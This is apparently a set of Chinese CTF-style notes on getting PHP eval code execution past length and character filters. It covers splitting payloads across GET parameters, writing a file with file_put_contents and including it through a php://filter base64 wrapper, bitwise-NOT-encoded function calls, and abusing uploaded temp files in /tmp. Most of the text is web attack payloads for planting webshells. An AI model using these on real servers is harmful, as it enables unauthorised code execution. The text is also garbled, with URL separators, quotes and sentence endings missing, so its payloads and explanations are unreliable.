1.拼接文件名

判断传递的参数长度不能超过17位并且不能包含eval和assert然后eval执行。

$_GET[1];

因为后面的1id不是前面param的值所以写多长都没关系$_GET[1]是获取通过传递的名为

web.php?1file_put_contentsparam$_GET[1](N,P,8);

web.php?1file_put_contentsparam$_GET[1](N,D,8);

...

web.php?1file_put_contentsparam$_GET[1](N,w,8);

✲写入文件N中

web.php?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN

用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数

N:写入文件名

这段代码和上边一样只是把参数长度变成不能超过8位那么就不能使用$_GET[1];了

1.拼接文件名

这段代码将webshell长度不超过35位除此之外还不允许包含字母数字还不能包含$和_

1.取反码

PHP7前是不允许用($a)();这样的方法来执行动态函数的但PHP7中增加了对此的支持。

所以我们可以通过(phpinfo)();来执行函数第一个括号中可以是任意PHP表达式.

所以很简单了因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。

如(~%8F%97%8F%96%91%99%90)();

--取反

code(~%8F%97%8F%96%91%99%90)();

2.上传临时文件

因为在php5版本中并不支持这种表达方式所以我们就可以用php上传文件机制

/tmp

难点1.匹配不到这个临时文件因为这个文件名是随机生成的全是英文和数字但是代码又限制了这个。

2.没有执行权限

解决方法1.经过多次尝试发现上传的临时文件最后一个字母会出现大写字母。

因为Linux是支持ascii所以查看ascii发现大写字母的范围在

匹配任意一个字符*

传递get参数通过查找eval的官方文档首先要闭合然后再写php代码